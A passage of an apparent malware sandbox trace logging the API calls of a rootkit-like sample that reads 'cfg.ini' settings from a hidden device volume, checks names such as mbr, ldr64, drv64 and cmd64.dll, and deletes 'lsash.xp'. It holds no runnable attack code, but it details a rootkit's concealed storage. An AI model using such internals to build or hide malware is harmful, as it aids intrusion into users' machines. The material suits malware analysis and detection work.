ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] KeLeaveCriticalRegion () [0125.845] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.845] KeEnterCriticalRegion () [0125.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.845] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa8f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] KeLeaveCriticalRegion () [0125.845] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.845] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.845] KeEnterCriticalRegion () [0125.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] KeLeaveCriticalRegion () [0125.845] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.845] ReleaseMutex (hMutex=0xf0) returned 1 [0125.845] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.845] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.845] KeEnterCriticalRegion () [0125.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.845] IdePortDispatch () returned 0x103 [0125.845] KeWaitForMutexObject () returned 0x0 [0125.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.845] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.845] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] KeLeaveCriticalRegion () [0125.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.846] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.846] KeEnterCriticalRegion () [0125.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] KeLeaveCriticalRegion () [0125.846] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.846] KeEnterCriticalRegion () [0125.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.846] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.846] IdePortDispatch () returned 0x103 [0125.846] KeWaitForMutexObject () returned 0x0 [0125.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] KeLeaveCriticalRegion () [0125.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.846] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.846] KeEnterCriticalRegion () [0125.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0a000 [0125.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.846] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.846] IdePortDispatch () returned 0x103 [0125.846] KeWaitForMutexObject () returned 0x0 [0125.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.847] IdePortDispatch () returned 0x103 [0125.847] KeWaitForMutexObject () returned 0x0 [0125.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.847] KeLeaveCriticalRegion () [0125.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.847] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.847] KeEnterCriticalRegion () [0125.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.847] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.847] KeLeaveCriticalRegion () [0125.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.848] KeEnterCriticalRegion () [0125.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] KeLeaveCriticalRegion () [0125.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.848] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.848] KeEnterCriticalRegion () [0125.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] KeLeaveCriticalRegion () [0125.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.848] ReleaseMutex (hMutex=0xf0) returned 1 [0125.848] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.848] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.848] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.848] KeEnterCriticalRegion () [0125.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.848] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.848] IdePortDispatch () returned 0x103 [0125.848] KeWaitForMutexObject () returned 0x0 [0125.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.848] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.848] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.848] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.848] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.848] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0125.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.848] KeLeaveCriticalRegion () [0125.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.848] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.849] KeEnterCriticalRegion () [0125.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.849] KeLeaveCriticalRegion () [0125.849] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.849] KeEnterCriticalRegion () [0125.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.849] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.849] IdePortDispatch () returned 0x103 [0125.849] KeWaitForMutexObject () returned 0x0 [0125.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.849] KeLeaveCriticalRegion () [0125.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.849] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.849] KeEnterCriticalRegion () [0125.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0b000 [0125.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.849] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.849] IdePortDispatch () returned 0x103 [0125.849] KeWaitForMutexObject () returned 0x0 [0125.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.850] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.850] IdePortDispatch () returned 0x103 [0125.850] KeWaitForMutexObject () returned 0x0 [0125.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.850] KeLeaveCriticalRegion () [0125.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.850] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.850] KeEnterCriticalRegion () [0125.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.850] KeLeaveCriticalRegion () [0125.850] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.850] KeEnterCriticalRegion () [0125.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.850] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.850] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.850] KeLeaveCriticalRegion () [0125.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.851] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.851] KeEnterCriticalRegion () [0125.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.851] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0125.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.851] KeLeaveCriticalRegion () [0125.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.851] ReleaseMutex (hMutex=0xf0) returned 1 [0125.851] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.851] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.851] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.851] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.851] KeEnterCriticalRegion () [0125.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.851] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.851] IdePortDispatch () returned 0x103 [0125.851] KeWaitForMutexObject () returned 0x0 [0125.851] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.851] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.851] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.851] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.851] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.851] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.851] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.851] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.851] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.851] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.851] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.851] KeLeaveCriticalRegion () [0125.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.852] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.852] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.852] KeEnterCriticalRegion () [0125.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.852] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.852] IdePortDispatch () returned 0x103 [0125.852] KeWaitForMutexObject () returned 0x0 [0125.852] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.852] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.852] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.852] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.852] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.852] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.852] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.852] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.852] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.852] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.852] KeLeaveCriticalRegion () [0125.852] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.852] ReleaseMutex (hMutex=0x100) returned 1 [0125.853] Sleep (dwMilliseconds=0x2bf20) [0125.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e36ed50, dwHighDateTime=0x1d24fa4)) [0125.859] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.859] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.859] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.859] KeEnterCriticalRegion () [0125.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.859] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.859] IdePortDispatch () returned 0x103 [0125.859] KeWaitForMutexObject () returned 0x0 [0125.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.859] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.859] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.859] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.859] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.859] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf91d0 [0125.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.859] KeLeaveCriticalRegion () [0125.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.859] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.859] KeEnterCriticalRegion () [0125.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.859] KeLeaveCriticalRegion () [0125.859] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.860] KeEnterCriticalRegion () [0125.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.860] MmProbeAndLockPages (in: 